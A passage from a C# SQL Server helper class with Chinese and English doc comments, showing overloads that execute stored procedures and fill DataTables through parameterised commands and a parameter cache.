            cmd.Parameters.Clear();
            return retval;
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the specified 
        /// SqlTransaction using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(trans, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>数据集</returns>
        public static XmlReader ExecuteXmlReader(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteXmlReader(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteXmlReader(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteXmlReader

        #region FillDataset
        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the database specified in 
        /// the connection string. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(connString, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"});
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名</param>
        public static void FillDataset(string connectionString, CommandType commandType, string commandText, DataTable dataSet, string[] tableNames)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (dataSet == null) throw new ArgumentNullException("dataSet");

            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                FillDataset(connection, commandType, commandText, dataSet, tableNames);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the database specified in the connection string 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(connString, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"}, new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>
        public static void FillDataset(string connectionString, CommandType commandType,
            string commandText, DataTable dataSet, string[] tableNames,
            params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (dataSet == null) throw new ArgumentNullException("dataSet");
            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                FillDataset(connection, commandType, commandText, dataSet, tableNames, commandParameters);
            }
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the database specified in 
        /// the connection string using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  FillDataset(connString, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"}, 24);
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>    
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        public static void FillDataset(string connectionString, string spName,
            DataTable dataSet, string[] tableNames,
            params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (dataSet == null) throw new ArgumentNullException("dataSet");
            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                FillDataset(connection, spName, dataSet, tableNames, parameterValues);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(conn, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"});
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>    
        public static void FillDataset(SqlConnection connection, CommandType commandType,
            string commandText, DataTable dataSet, string[] tableNames)
        {
            FillDataset(connection, commandType, commandText, dataSet, tableNames, null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(conn, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"}, new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>
        /// <param name="commandParameters">SqlParamter数组</param>
        public static void FillDataset(SqlConnection connection, CommandType commandType,
            string commandText, DataTable dataSet, string[] tableNames,
            params SqlParameter[] commandParameters)
        {
            FillDataset(connection, null, commandType, commandText, dataSet, tableNames, commandParameters);
        }

        /// <summary>
        ///调用存储过程,返回数据集
        /// using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  FillDataset(conn, "GetOrders", ds, new string[] {"orders"}, 24, 36);
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        public static void FillDataset(SqlConnection connection, string spName, DataTable dataSet, string[] tableNames, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (dataSet == null) throw new ArgumentNullException("dataSet");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                FillDataset(connection, CommandType.StoredProcedure, spName, dataSet, tableNames, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                FillDataset(connection, CommandType.StoredProcedure, spName, dataSet, tableNames);
            }
        }

        /// <summary>
        /// 执行SqlCommand对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(trans, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"});
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名 
        /// </param>
        public static void FillDataset(SqlTransaction transaction, CommandType commandType,
            string commandText,
            DataTable dataSet, string[] tableNames)
        {
            FillDataset(transaction, commandType, commandText, dataSet, tableNames, null);
        }

        /// <summary>
        ///执行SqlCommand对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  FillDataset(trans, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"}, new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名

        /// </param>
        /// <param name="commandParameters">SqlParamter数组</param>
        public static void FillDataset(SqlTransaction transaction, CommandType commandType,
            string commandText, DataTable dataSet, string[] tableNames,
            params SqlParameter[] commandParameters)
        {
            FillDataset(transaction.Connection, transaction, commandType, commandText, dataSet, tableNames, commandParameters);
        }

        /// <summary>
        /// 执行SqlCommand对象,返回数据集
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  FillDataset(trans, "GetOrders", ds, new string[]{"orders"}, 24, 36);
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名
        /// </param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        public static void FillDataset(SqlTransaction transaction, string spName,
            DataTable dataSet, string[] tableNames,
            params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (dataSet == null) throw new ArgumentNullException("dataSet");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                FillDataset(transaction, CommandType.StoredProcedure, spName, dataSet, tableNames, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                FillDataset(transaction, CommandType.StoredProcedure, spName, dataSet, tableNames);
            }
        }

        /// <summary>
        ///执行SqlCommand对象,返回数据集
        /// <remarks>
        /// 例子: 
        ///  FillDataset(conn, trans, CommandType.StoredProcedure, "GetOrders", ds, new string[] {"orders"}, new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="dataSet"数据集</param>
        /// <param name="tableNames">表名
        /// </param>
        /// <param name="commandParameters">SqlParamter数组</param>
        private static void FillDataset(SqlConnection connection, SqlTransaction transaction, CommandType commandType,
            string commandText, DataTable dataSet, string[] tableNames,
            params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (dataSet == null) throw new ArgumentNullException("dataSet");

            // Create a command and prepare it for execution
            SqlCommand command = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(command, connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataTable
            using (SqlDataAdapter dataAdapter = new SqlDataAdapter(command))
            {

                // Add the table mappings specified by the user
                if (tableNames != null && tableNames.Length > 0)
                {
                    string tableName = "Table";
                    for (int index = 0; index < tableNames.Length; index++)
                    {
                        if (tableNames[index] == null || tableNames[index].Length == 0) throw new ArgumentException("The tableNames parameter must contain a list of tables, a value was provided as null or empty string.", "tableNames");
                        dataAdapter.TableMappings.Add(tableName, tableNames[index]);
                        tableName += (index + 1).ToString();
                    }
                }

                // Fill the DataTable using default values for DataTable names, etc
                dataAdapter.Fill(dataSet);

                // Detach the SqlParameters from the command object, so they can be used again
                command.Parameters.Clear();
            }

            if (mustCloseConnection)
                connection.Close();
        }
        #endregion

        //#region UpdateDataset
        ///// <summary>
        /////  执行SqlCommand对象,返回数据集
        ///// </summary>
        ///// <remarks>
        ///// 例子: 
        /////  UpdateDataset(conn, insertCommand, deleteCommand, updateCommand, dataSet, "Order");
        ///// </remarks>
        ///// <param name="insertCommand">插入命令对象</param>
        ///// <param name="deleteCommand">删除命令对象</param>
        ///// <param name="updateCommand">更新命令对象</param>
        ///// <param name="dataSet">数据集</param>
        ///// <param name="tableName">表名</param>
        //public static void UpdateDataset(SqlCommand insertCommand, SqlCommand deleteCommand, SqlCommand updateCommand, DataTable dataSet, string tableName)
        //{
        //    if (insertCommand == null) throw new ArgumentNullException("insertCommand");
        //    if (deleteCommand == null) throw new ArgumentNullException("deleteCommand");
        //    if (updateCommand == null) throw new ArgumentNullException("updateCommand");
        //    if (tableName == null || tableName.Length == 0) throw new ArgumentNullException("tableName");

        //    // Create a SqlDataAdapter, and dispose of it after we are done
        //    using (SqlDataAdapter dataAdapter = new SqlDataAdapter())
        //    {
        //        // Set the data adapter commands
        //        dataAdapter.UpdateCommand = updateCommand;
        //        dataAdapter.InsertCommand = insertCommand;
        //        dataAdapter.DeleteCommand = deleteCommand;

        //        // Update the dataset changes in the data source
        //        dataAdapter.Update(dataSet, tableName);

        //        // Commit all the changes made to the DataTable
        //        dataSet.AcceptChanges();
        //    }
        //}
        //#endregion

        #region CreateCommand
        /// <summary>
        /// 创建命令对象
        /// a stored procedure and optional parameters to be provided
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlCommand command = CreateCommand(conn, "AddCustomer", "CustomerID", "CustomerName");
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="sourceColumns">提供给存储过程的作为列名的字符串数组</param>
        /// <returns>A valid SqlCommand object</returns>
        public static SqlCommand CreateCommand(SqlConnection connection, string spName, params string[] sourceColumns)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // Create a SqlCommand
            SqlCommand cmd = new SqlCommand(spName, connection);
            cmd.CommandType = CommandType.StoredProcedure;

            // If we receive parameter values, we need to figure out where they go
            if ((sourceColumns != null) && (sourceColumns.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided source columns to these parameters based on parameter order
                for (int index = 0; index < sourceColumns.Length; index++)
                    commandParameters[index].SourceColumn = sourceColumns[index];

                // Attach the discovered parameters to the SqlCommand object
                AttachParameters(cmd, commandParameters);
            }

            return cmd;
        }
        #endregion

        #region ExecuteNonQueryTypedParams
        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>整型</returns>
        public static int ExecuteNonQueryTypedParams(String connectionString, String spName, DataRow dataRow)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteNonQuery(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteNonQuery(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 调用存储过程Execute a stored procedure via a SqlCommand (that returns no resultset) against the specified SqlConnection 
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>整型</returns>
        public static int ExecuteNonQueryTypedParams(SqlConnection connection, String spName, DataRow dataRow)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteNonQuery(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteNonQuery(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="transaction">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>整型</returns>
        public static int ExecuteNonQueryTypedParams(SqlTransaction transaction, String spName, DataRow dataRow)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // Sf the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteNonQuery(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteNonQuery(transaction, CommandType.StoredProcedure, spName);
            }
        }
        #endregion

        #region ExecuteDatasetTypedParams
        /// <summary>
        ///调用存储过程
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDatasetTypedParams(string connectionString, String spName, DataRow dataRow)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            //If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteDataset(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteDataset(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDatasetTypedParams(SqlConnection connection, String spName, DataRow dataRow)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteDataset(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteDataset(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="transaction">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDatasetTypedParams(SqlTransaction transaction, String spName, DataRow dataRow)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteDataset(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteDataset(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion

        #region ExecuteReaderTypedParams
        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReaderTypedParams(String connectionString, String spName, DataRow dataRow)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteReader(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteReader(connectionString, CommandType.StoredProcedure, spName);
            }
        }


        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReaderTypedParams(SqlConnection connection, String spName, DataRow dataRow)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteReader(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteReader(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 调用存储过程
        /// </summary>
        /// <param name="transaction">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReaderTypedParams(SqlTransaction transaction, String spName, DataRow dataRow)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteReader(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteReader(transaction, CommandType.StoredProcedure, spName);
            }
        }
        #endregion

        #region ExecuteScalarTypedParams
        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a 1x1 resultset) against the database specified in 
        /// the connection string using the dataRow column values as the stored procedure's parameters values.
        /// This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>对象</returns>
        public static object ExecuteScalarTypedParams(String connectionString, String spName, DataRow dataRow)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteScalar(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteScalar(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 返回数量
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>对象</returns>
        public static object ExecuteScalarTypedParams(SqlConnection connection, String spName, DataRow dataRow)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteScalar(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteScalar(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        ///返回数量
        /// </summary>
        /// <param name="transaction">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>对象</returns>
        public static object ExecuteScalarTypedParams(SqlTransaction transaction, String spName, DataRow dataRow)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteScalar(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteScalar(transaction, CommandType.StoredProcedure, spName);
            }
        }
        #endregion

        #region ExecuteXmlReaderTypedParams
        /// <summary>
        /// 读取xml,返回XmlReader
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>XmlReader</returns>
        public static XmlReader ExecuteXmlReaderTypedParams(SqlConnection connection, String spName, DataRow dataRow)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteXmlReader(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteXmlReader(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        ///读取xml,返回XmlReader
        /// </summary>
        /// <param name="transaction">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="dataRow">数据行,保存着存储过程的参数值.</param>
        /// <returns>XmlReader</returns>
        public static XmlReader ExecuteXmlReaderTypedParams(SqlTransaction transaction, String spName, DataRow dataRow)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If the row has values, the store procedure parameters must be initialized
            if (dataRow != null && dataRow.ItemArray.Length > 0)
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
